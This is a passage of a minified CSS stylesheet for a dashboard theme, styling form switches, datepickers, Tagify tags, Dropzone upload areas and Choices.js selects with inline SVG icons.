0 0.2rem rgba(255, 58, 110, 0.25); } .form-check.form-switch .form-check-input.input-light-danger:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ff3a6e'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light:checked { border-color: #f8f9fa; background-color: #f8f9fa; } .form-check .form-check-input.input-light-light:checked { border-color: #fefefe; background-color: #fefefe; } .form-check .form-check-input.input-light-light:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23f8f9fa' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-light:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23f8f9fa'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light:focus[type="checkbox"], .form-check .form-check-input.input-light:focus[type="radio"], .form-check .form-check-input.input-light-light:focus[type="checkbox"], .form-check .form-check-input.input-light-light:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.25); } .form-check.form-switch .form-check-input.input-light-light:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23f8f9fa'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-dark:checked { border-color: #1c232f; background-color: #1c232f; } .form-check .form-check-input.input-light-dark:checked { border-color: #d2d3d5; background-color: #d2d3d5; } .form-check .form-check-input.input-light-dark:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%231c232f' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-dark:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%231c232f'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-dark:focus[type="checkbox"], .form-check .form-check-input.input-dark:focus[type="radio"], .form-check .form-check-input.input-light-dark:focus[type="checkbox"], .form-check .form-check-input.input-light-dark:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(28, 35, 47, 0.25); } .form-check.form-switch .form-check-input.input-light-dark:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%231c232f'/%3e%3c/svg%3e"); } .input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle), .input-group > .input-group-append:last-child > .input-group-text:not(:last-child), .input-group > .input-group-append:not(:last-child) > .btn, .input-group > .input-group-append:not(:last-child) > .input-group-text, .input-group > .input-group-prepend > .btn, .input-group > .input-group-prepend > .input-group-text { border-right: none; } .form-v1 .form-label-group { position: relative; margin-bottom: 1rem; } .form-v1 .form-label-group > input, .form-v1 .form-label-group > label { height: 3.125rem; padding: 0.75rem; } .form-v1 .form-label-group > label { position: absolute; top: 0; left: 0; display: block; width: 100%; color: #495057; pointer-events: none; cursor: text; border: 1px solid transparent; border-radius: 0.25rem; transition: all 0.1s ease-in-out; } .form-v1 .form-label-group input::-moz-placeholder { color: transparent; } .form-v1 .form-label-group input::placeholder { color: transparent; } .form-v1 .form-label-group input:not(:-moz-placeholder-shown) { padding-top: 1.25rem; padding-bottom: 0.25rem; } .form-v1 .form-label-group input:not(:placeholder-shown) { padding-top: 1.25rem; padding-bottom: 0.25rem; } .form-v1 .form-label-group input:not(:-moz-placeholder-shown) ~ label { padding-top: 0.25rem; padding-bottom: 0.25rem; font-size: 12px; color: #777; } .form-v1 .form-label-group input:not(:placeholder-shown) ~ label { padding-top: 0.25rem; padding-bottom: 0.25rem; font-size: 12px; color: #777; } .datepicker { width: 265px; padding: 10px; } .datepicker.dropdown-menu { padding: 10px; } .datepicker.datepicker-orient-top { margin-top: 8px; } .datepicker table { width: 100%; } .datepicker td, .datepicker th { font-weight: regular; width: 35px; height: 35px; } .datepicker thead th { color: #060606; } .datepicker thead th.datepicker-switch, .datepicker thead th.next, .datepicker thead th.prev { font-weight: 500; color: #293240; } .datepicker thead th.datepicker-switch i, .datepicker thead th.next i, .datepicker thead th.prev i { font-size: 1.2rem; color: #293240; } .datepicker thead th.datepicker-switch i:before, .datepicker thead th.next i:before, .datepicker thead th.prev i:before { line-height: 0; vertical-align: middle; } .datepicker thead th.datepicker-switch:hover, .datepicker thead th.next:hover, .datepicker thead th.prev:hover { background: #f8f9fd !important; } .datepicker thead th.dow { color: #293240; font-weight: 500; } .datepicker tbody tr > td.day { color: #293240; } .datepicker tbody tr > td.day:hover { background: #f8f9fd; color: #293240; } .datepicker tbody tr > td.day.old { color: #293240; } .datepicker tbody tr > td.day.new { color: #293240; } .datepicker tbody tr > td.day.active, .datepicker tbody tr > td.day.active:hover, .datepicker tbody tr > td.day.selected, .datepicker tbody tr > td.day.selected:hover { background: #51459d; color: #fff; } .datepicker tbody tr > td.day.today { position: relative; background: #51459d !important; color: #fff !important; } .datepicker tbody tr > td.day.today:before { content: ""; display: inline-block; border: solid transparent; border-width: 0 0 7px 7px; border-bottom-color: #ffffff; border-top-color: #293240; position: absolute; bottom: 4px; right: 4px; } .datepicker tbody tr > td.day.range { background: #f8f9fd; } .datepicker tbody tr > td span.hour, .datepicker tbody tr > td span.minute, .datepicker tbody tr > td span.month, .datepicker tbody tr > td span.year { color: #293240; } .datepicker tbody tr > td span.hour:hover, .datepicker tbody tr > td span.minute:hover, .datepicker tbody tr > td span.month:hover, .datepicker tbody tr > td span.year:hover { background: #f8f9fd; } .datepicker tbody tr > td span.hour.active, .datepicker tbody tr > td span.hour.active.focused:hover, .datepicker tbody tr > td span.hour.active:hover, .datepicker tbody tr > td span.hour.focused, .datepicker tbody tr > td span.hour.focused:hover, .datepicker tbody tr > td span.minute.active, .datepicker tbody tr > td span.minute.active.focused:hover, .datepicker tbody tr > td span.minute.active:hover, .datepicker tbody tr > td span.minute.focused, .datepicker tbody tr > td span.minute.focused:hover, .datepicker tbody tr > td span.month.active, .datepicker tbody tr > td span.month.active.focused:hover, .datepicker tbody tr > td span.month.active:hover, .datepicker tbody tr > td span.month.focused, .datepicker tbody tr > td span.month.focused:hover, .datepicker tbody tr > td span.year.active, .datepicker tbody tr > td span.year.active.focused:hover, .datepicker tbody tr > td span.year.active:hover, .datepicker tbody tr > td span.year.focused, .datepicker tbody tr > td span.year.focused:hover { background: #51459d; color: #fff; } .datepicker tfoot tr > th.clear, .datepicker tfoot tr > th.today { font-weight: 500; } .datepicker tfoot tr > th.clear:hover, .datepicker tfoot tr > th.today:hover { background: #f8f9fd; } .datepicker.datepicker-inline { border: 1px solid #f1f1f1; } .bootstrap-timepicker-widget { left: auto; width: 175px; } .bootstrap-timepicker-widget .bootstrap-timepicker-hour, .bootstrap-timepicker-widget .bootstrap-timepicker-meridian, .bootstrap-timepicker-widget .bootstrap-timepicker-minute, .bootstrap-timepicker-widget .bootstrap-timepicker-second { border: none; box-shadow: none; } .bootstrap-timepicker-widget table td > a { border: 0; } .bootstrap-timepicker-widget table td > a i { font-size: 1.1rem; } .bootstrap-timepicker-widget .bootstrap-timepicker-hour, .bootstrap-timepicker-widget .bootstrap-timepicker-meridian, .bootstrap-timepicker-widget .bootstrap-timepicker-minute, .bootstrap-timepicker-widget .bootstrap-timepicker-second { color: #060606; } .bootstrap-timepicker-widget table td > a:hover { background: #f8f9fd; } .tagify__tag { --tag-bg: #f8f9fd; --tag-hover: rgba(81, 69, 157, 0.3); --tag-remove-bg: rgba(255, 58, 110, 0.3); --tag-remove-btn-bg--hover: #ff3a6e; } .tagify__tag.tagify__tag--primary { --tag-bg: rgba(81, 69, 157, 0.2); } .tagify__tag.tagify__tag--primary div .tagify__tag-text { color: #51459d; } .tagify__tag.tagify__tag--secondary { --tag-bg: rgba(108, 117, 125, 0.2); } .tagify__tag.tagify__tag--secondary div .tagify__tag-text { color: #6c757d; } .tagify__tag.tagify__tag--success { --tag-bg: rgba(111, 217, 67, 0.2); } .tagify__tag.tagify__tag--success div .tagify__tag-text { color: #6fd943; } .tagify__tag.tagify__tag--info { --tag-bg: rgba(62, 201, 214, 0.2); } .tagify__tag.tagify__tag--info div .tagify__tag-text { color: #3ec9d6; } .tagify__tag.tagify__tag--warning { --tag-bg: rgba(255, 162, 29, 0.2); } .tagify__tag.tagify__tag--warning div .tagify__tag-text { color: #ffa21d; } .tagify__tag.tagify__tag--danger { --tag-bg: rgba(255, 58, 110, 0.2); } .tagify__tag.tagify__tag--danger div .tagify__tag-text { color: #ff3a6e; } .tagify__tag.tagify__tag--light { --tag-bg: rgba(248, 249, 250, 0.2); } .tagify__tag.tagify__tag--light div .tagify__tag-text { color: #f8f9fa; } .tagify__tag.tagify__tag--dark { --tag-bg: rgba(28, 35, 47, 0.2); } .tagify__tag.tagify__tag--dark div .tagify__tag-text { color: #1c232f; } .bootstrap-switch { border-color: #f1f1f1; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-default, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-default { background: #f8f9fd; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-primary, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-primary { color: #fff; background: #51459d; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-secondary, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-secondary { color: #fff; background: #6c757d; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-success, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-success { color: #fff; background: #6fd943; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-info, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-info { color: #fff; background: #3ec9d6; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-warning, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-warning { color: #fff; background: #ffa21d; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-danger, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-danger { color: #fff; background: #ff3a6e; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-light, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-light { color: #fff; background: #f8f9fa; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-dark, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-dark { color: #fff; background: #1c232f; } .bootstrap-select > .dropdown-toggle.bs-placeholder.btn[class*="btn-"]:not(.btn-light) { color: #fff; } .typeahead .twitter-typeahead { display: block !important; } .scrollable-dropdown-menu .tt-menu { max-height: 150px; overflow-y: auto; } .tt-menu { padding: 10px 0; font-size: 0.875rem; background: #fff; min-width: 10rem; border: 1px solid rgba(0, 0, 0, 0.15); border-radius: 4px; } .tt-menu .tt-suggestion { padding: 4px 20px; border-radius: 2px; } .tt-menu .tt-suggestion.active, .tt-menu .tt-suggestion:active, .tt-menu .tt-suggestion:focus, .tt-menu .tt-suggestion:hover { background: rgba(81, 69, 157, 0.03); color: #51459d; } .sticky-action .card-header { background: #fff; z-index: 1; } .sticky-action.sticky .card-header { top: 0; position: fixed; box-shadow: 0 1px 15px 1px rgba(57, 82, 107, 0.15); left: calc(255px + 30px); right: 30px; } @media (max-width: 1024px) { .sticky-action.sticky .card-header { top: calc(60px + 10px); } } .dropzone { min-height: auto; } .dropzone { padding: 20px; text-align: center; cursor: pointer; border: 2px dashed #f1f1f1; border-radius: 10px; } .dropzone .dropzone-msg-title { color: #293240; margin: 0 0 5px; padding: 0; font-weight: 500; font-size: 1.2rem; } .dropzone .dropzone-msg-desc { color: #293240; font-weight: 400; font-size: 1rem; } .dropzone .dz-preview .dz-image { border-radius: 10px; } .dropzone.dropzone-primary { border-color: #51459d; } .dropzone.dropzone-secondary { border-color: #6c757d; } .dropzone.dropzone-success { border-color: #6fd943; } .dropzone.dropzone-info { border-color: #3ec9d6; } .dropzone.dropzone-warning { border-color: #ffa21d; } .dropzone.dropzone-danger { border-color: #ff3a6e; } .dropzone.dropzone-light { border-color: #f8f9fa; } .dropzone.dropzone-dark { border-color: #1c232f; } .dz-started .dropzone-msg { display: none; } .dropzone-multi { border: 0; padding: 0; } .dropzone-multi .dz-message { display: none; } .dropzone-multi .dropzone-panel .dropzone-remove-all, .dropzone-multi .dropzone-panel .dropzone-upload { display: none; } .dropzone-multi .dropzone-item { background: #f8f9fd; border-radius: 10px; margin: 8px 0; display: flex; align-items: center; justify-content: space-between; padding: 8px 14px; } .dropzone-multi .dropzone-item .dropzone-progress { width: 20%; } .dropzone-multi .dropzone-item .dropzone-progress .progress { height: 0.5rem; transition: all 0.2s ease-in-out; } .dropzone-multi .dropzone-item .dropzone-file .dropzone-filename { font-size: 0.9rem; font-weight: 500; color: #293240; text-overflow: ellipsis; margin-right: 0.5rem; } .dropzone-multi .dropzone-item .dropzone-file .dropzone-filename b { font-size: 0.9rem; font-weight: 500; color: #293240; } .dropzone-multi .dropzone-item .dropzone-file .dropzone-error { margin-top: 0.25rem; font-size: 0.9rem; font-weight: 400; color: #ff3a6e; text-overflow: ellipsis; } .dropzone-multi .dropzone-item .dropzone-toolbar { margin-left: 1rem; display: flex; flex-wrap: nowrap; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-cancel, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-delete, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start { height: 25px; width: 25px; display: inline-flex; align-items: center; justify-content: center; cursor: pointer; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-cancel i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-delete i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start i { font-size: 0.8rem; color: #060606; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-cancel:hover i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-delete:hover i, .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start:hover i { color: #51459d; } .dropzone-multi .dropzone-item .dropzone-toolbar .dropzone-start { transition: all 0.2s ease-in-out; } .uppy-Dashboard--modal { z-index: 1030; } .uppy-Dashboard--modal .uppy-Dashboard-overlay { z-index: 1030; } .uppy-Dashboard--modal .uppy-Dashboard-inner { z-index: 1031; } .uppy-DragDrop--is-dragdrop-supported { border-color: #f8f9fd; } .dash-uppy-thumbnail-container .dash-uppy-thumbnail img { width: 100px; } .slider-selection { box-shadow: none; } .dash-toggle-noUiSlider { height: 50px; } .dash-toggle-noUiSlider.off .noUi-handle { border-color: #ff3a6e; background: #ff3a6e; box-shadow: none; } .note-editor.card .card-header { padding: 0 5px 5px; border-bottom-color: #a9a9a9; } #cke5-inline-demo .ck-content { margin-bottom: 1rem; padding: 2.5rem; background-color: #fff; border: 1px solid rgba(0, 0, 0, 0.15); } #cke5-inline-demo .ck-content h3, #cke5-inline-demo .ck-content .h3 { margin-top: 0; } #cke5-inline-demo header.ck-content { text-align: center; } #cke5-inline-demo header.ck-content h2:first-of-type, #cke5-inline-demo header.ck-content .h2:first-of-type { margin-top: 0; } #cke5-inline-demo header.ck-content h2 + h3, #cke5-inline-demo header.ck-content .h2 + h3, #cke5-inline-demo header.ck-content h2 + .h3, #cke5-inline-demo header.ck-content .h2 + .h3 { margin-top: 0; color: #293240; font-weight: 600; } #cke5-inline-demo .demo-row { width: 100%; display: flex; } #cke5-inline-demo .demo-row .demo-row__half { width: 50%; } #cke5-inline-demo .demo-row .demo-row__half:first-of-type { padding-right: 0.5rem; } #cke5-inline-demo .demo-row .demo-row__half:last-of-type { padding-left: 0.5rem; } #cke5-inline-demo .demo-row p { margin-bottom: 0; } #cke5-inline-demo .demo-row h3, #cke5-inline-demo .demo-row .h3 { margin: 0; font-weight: 600; } .switch-demo .custom-switch-v1 { margin-bottom: 4px; } .custom-switch-v1.form-switch { padding-left: 2.9em; } .custom-switch-v1.form-switch .form-check-input { height: 20px; width: 35px; margin-left: -2.9em; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e"); transition: 0.35s cubic-bezier(0.54, 1.6, 0.5, 1); box-shadow: 0 0 3px rgba(0, 0, 0, 0.2); } .custom-switch-v1.form-switch .form-check-input[class*="input-light-"] { border: none; } .custom-switch-v1.form-switch .form-check-input:focus { box-shadow: none; border-color: rgba(0, 0, 0, 0.25); } .custom-switch-v1.form-switch .form-check-input:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-light-primary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%2351459d'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-primary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #51459d, #9d4591) !important; border-color: #51459d !important; } .custom-switch-v1.form-switch .form-check-input.input-light-secondary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%236c757d'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-secondary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #6c757d, #746c7d) !important; border-color: #6c757d !important; } .custom-switch-v1.form-switch .form-check-input.input-light-success:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%236fd943'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-success:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #6fd943, #43d9ad) !important; border-color: #6fd943 !important; } .custom-switch-v1.form-switch .form-check-input.input-light-info:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%233ec9d6'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-info:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #3ec9d6, #4b3ed6) !important; border-color: #3ec9d6 !important; } .custom-switch-v1.form-switch .form-check-input.input-light-warning:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffa21d'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-warning:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #ffa21d, #7aff1d) !important; border-color: #ffa21d !important; } .custom-switch-v1.form-switch .form-check-input.input-light-danger:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ff3a6e'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-danger:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #ff3a6e, #ffcb3a) !important; border-color: #ff3a6e !important; } .custom-switch-v1.form-switch .form-check-input.input-light-light:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23f8f9fa'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-light:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #f8f9fa, #f9f8fa) !important; border-color: #f8f9fa !important; } .custom-switch-v1.form-switch .form-check-input.input-light-dark:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%231c232f'/%3e%3c/svg%3e"); } .custom-switch-v1.form-switch .form-check-input.input-grd-dark:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='4.1' fill='%23ffffff'/%3e%3c/svg%3e"), linear-gradient(141.55deg, #1c232f, #281c2f) !important; border-color: #1c232f !important; } .custom-switch-v1 .custom-control-label::before { transition: 0.2s cubic-bezier(0.24, 0, 0.5, 1); height: 20px; width: 35px; border-radius: 0.8rem; top: 0; left: -2.55rem; } .custom-switch-v1 .custom-control-label::after { top: calc(0.15625rem - 2px); left: calc(-2.25rem - 4px); height: 19px; width: 19px; border-radius: 0.7rem; box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.1), 0 4px 0 0 rgba(0, 0, 0, 0.04), 0 4px 9px rgba(0, 0, 0, 0.13), 0 3px 3px rgba(0, 0, 0, 0.05); transition: 0.35s cubic-bezier(0.54, 1.6, 0.5, 1); } .custom-switch-v1 .custom-control-input:checked ~ .custom-control-label::after { transform: translateX(0.95rem); } .row[data-multiselectsplitter-wrapper-selector] select { margin-bottom: 8px; } .choices { position: relative; margin-bottom: 5px; font-size: 16px; } .choices:focus { outline: none; } .choices:last-child { margin-bottom: 0; } .choices.is-disabled .choices__inner, .choices.is-disabled .choices__input { background-color: #e9ecef; cursor: not-allowed; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .choices.is-disabled .choices__item { cursor: not-allowed; } .choices [hidden] { display: none !important; } .choices[data-type*="select-one"] { cursor: pointer; } .choices[data-type*="select-one"] .choices__inner { padding-bottom: 7.5px; } .choices[data-type*="select-one"] .choices__input { display: block; width: 100%; padding: 10px; border-bottom: 1px solid #ced4da; background-color: #ffffff; margin: 0; } .choices[data-type*="select-one"] .choices__button { background-image: url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjEiIGhlaWdodD0iMjEiIHZpZXdCb3g9IjAgMCAyMSAyMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBmaWxsPSIjMDAwIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiPjxwYXRoIGQ9Ik0yLjU5Mi4wNDRsMTguMzY0IDE4LjM2NC0yLjU0OCAyLjU0OEwuMDQ0IDIuNTkyeiIvPjxwYXRoIGQ9Ik0wIDE4LjM2NEwxOC4zNjQgMGwyLjU0OCAyLjU0OEwyLjU0OCAyMC45MTJ6Ii8+PC9nPjwvc3ZnPg=="); padding: 0; background-size: 8px; position: absolute; top: 50%; right: 0; margin-top: -10px; margin-right: 25px; height: 20px; width: 20px; border-radius: 10em; opacity: 0.5; } .choices[data-type*="select-one"] .choices__button:focus, .choices[data-type*="select-one"] .choices__button:hover { opacity: 1; } .choices[data-type*="select-one"] .choices__button:focus { box-shadow: 0 0 0 2px #51459d; } .choices[data-type*="select-one"] .choices__item[data-value=""] .choices__button { display: none; } .choices[data-type*="select-one"]:after { content: ""; height: 0; width: 0; border-style: solid; border-color: #293240 transparent transparent transparent; border-width: 5px; position: absolute; right: 11.5px; top: 50%; margin-top: -2.5px; pointer-events: none; } .choices[data-type*="select-one"].is-open:after { border-color: transparent transparent #293240 transparent; margin-top: -7.5px; } .choices[data-type*="select-one"][dir="rtl"]:after { left: 11.5px; right: auto; } .choices[data-type*="select-one"][dir="rtl"] .choices__button { right: auto; left: 0; margin-left: 25px; margin-right: 0; } .choices[data-type*="select-multiple"] .choices__inner, .choices[data-type*="text"] .choices__inner { cursor: text; } .choices[data-type*="select-multiple"] .choices__button, .choices[data-type*="text"] .choices__button { position: relative; display: inline-block; margin: 0 -4px 0 8px; padding-left: 16px; border-left: 1px solid rgba(255, 255, 255, 0.35); background-image: url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjEiIGhlaWdodD0iMjEiIHZpZXdCb3g9IjAgMCAyMSAyMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBmaWxsPSIjRkZGIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiPjxwYXRoIGQ9Ik0yLjU5Mi4wNDRsMTguMzY0IDE4LjM2NC0yLjU0OCAyLjU0OEwuMDQ0IDIuNTkyeiIvPjxwYXRoIGQ9Ik0wIDE4LjM2NEwxOC4zNjQgMGwyLjU0OCAyLjU0OEwyLjU0OCAyMC45MTJ6Ii8+PC9nPjwvc3ZnPg=="); background-size: 8px; width: 8px; line-height: 1; opacity: 0.75; border-radius: 0; } .choices[data-type*="select-multiple"] .choices__button:focus, .choices[data-type*="select-multiple"] .choices__button:hover, .choices[data-type*="text"] .choices__button:focus, .choices[data-type*="text"] .choices__button:hover { opacity: 1; } .choices__inner { display: inline-block; vertical-align: top; width: 100%; background-color: #ffffff; padding: 7.5px 7.5px 3.75px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; min-height: 44px; overflow: hidden; } .is-focused .choices__inner, .is-open .choices__inner { border-width: 2px; border-color: #51459d; } .is-open .choices__inner { border-radius: 6px 6px 0 0; } .is-flipped.is-open .choices__inner { border-radius: 0 0 6px 6px; } .choices__list { margin: 0; padding-left: 0; list-style: none; } .choices__list--single { display: inline-block; padding: 4px 16px 4px 4px; width: 100%; } [dir="rtl"] .choices__list--single { padding-right: 4px; padding-left: 16px; } .choices__list--single .choices__item { width: 100%; } .choices__list--multiple { display: inline; } .choices__list--multiple .choices__item { display: inline-block; vertical-align: middle; border-radius: 6px; padding: 4px 10px; font-size: 12px; font-weight: 500; margin-right: 3.75px; margin-bottom: 3.75px; background-color: #51459d; border: 1px solid darkslateblue; color: #ffffff; word-break: break-all; box-sizing: border-box; } .choices__list--multiple .choices__item[data-deletable] { padding-right: 5px; } [dir="rtl"] .choices__list--multiple .choices__item { margin-right: 0; margin-left: 3.75px; } .choices__list--multiple .choices__item.is-highlighted { background-color: darkslateblue; border: 1px solid #3f357a; } .is-disabled .choices__list--multiple .choices__item { background-color: #9facb9; border: 1px solid #8293a4; } .choices__list--dropdown { visibility: hidden; z-index: 1; position: absolute; width: 100%; background-color: #ffffff; border: 1px solid #ced4da; top: 100%; margin-top: -1px; border-bottom-left-radius: 6px; border-bottom-right-radius: 6px; overflow: hidden; word-break: break-all; will-change: visibility; } .choices__list--dropdown.is-active { visibility: visible; } .is-open .choices__list--dropdown { border-color: #a2aeb9; } .is-flipped .choices__list--dropdown { top: auto; bottom: 100%; margin-top: 0; margin-bottom: -1px; border-radius: 0.25rem 0.25rem 0 0; } .choices__list--dropdown .choices__list { position: relative; max-height: 300px; overflow: auto; -webkit-overflow-scrolling: touch; will-change: scroll-position; } .choices__list--dropdown .choices__item { position: relative; padding: 10px; font-size: 14px; } [dir="rtl"] .choices__list--dropdown .choices__item { text-align: right; } @media (min-width: 640px) { .choices__list--dropdown .choices__item--selectable { padding-right: 100px; } .choices__list--dropdown .choices__item--selectable:after { content: attr(data-select-text); font-size: 12px; opacity: 0; position: absolute; right: 10px; top: 50%; transform: translateY(-50%); } [dir="rtl"] .choices__list--dropdown .choices__item--selectable { text-align: right; padding-left: 100px; padding-right: 10px; } [dir="rtl"] .choices__list--dropdown .choices__item--selectable:after { right: auto; left: 10px; } } .choices__list--dropdown .choices__item--selectable.is-highlighted { background-color: rgba(81, 69, 157, 0.1); } .choices__list--dropdown .choices__item--selectable.is-highlighted:after { opacity: 0.5; } .choices__item { cursor: default; } .choices__item--selectable { cursor: pointer; } .choices__item--disabled { cursor: not-allowed; -webkit-user-select: none; -moz-user-select: none; user-select: none; opacity: 0.5; } .choices__heading { font-weight: 600; font-size: 12px; padding: 10px; border-bottom: 1px solid #ebeef0; color: gray; } .choices__button { text-indent: -9999px; -webkit-appearance: none; -moz-appearance: none; appearance: none; border: 0; background-color: transparent; background-repeat: no-repeat; background-position: center; cursor: pointer; } .choices__button:focus { outline: none; } .choices__input { display: inline-block; vertical-align: baseline; background-color: #ffffff; font-size: 14px; margin-bottom: 0px; border: 0; color: #293240; border-radius: 0; max-width: 100%; padding: 4px 0 4px 2px; } .choices__input:focus { outline: 0; } [dir="rtl"] .choices__input { padding-right: 2px; padding-left: 0; } 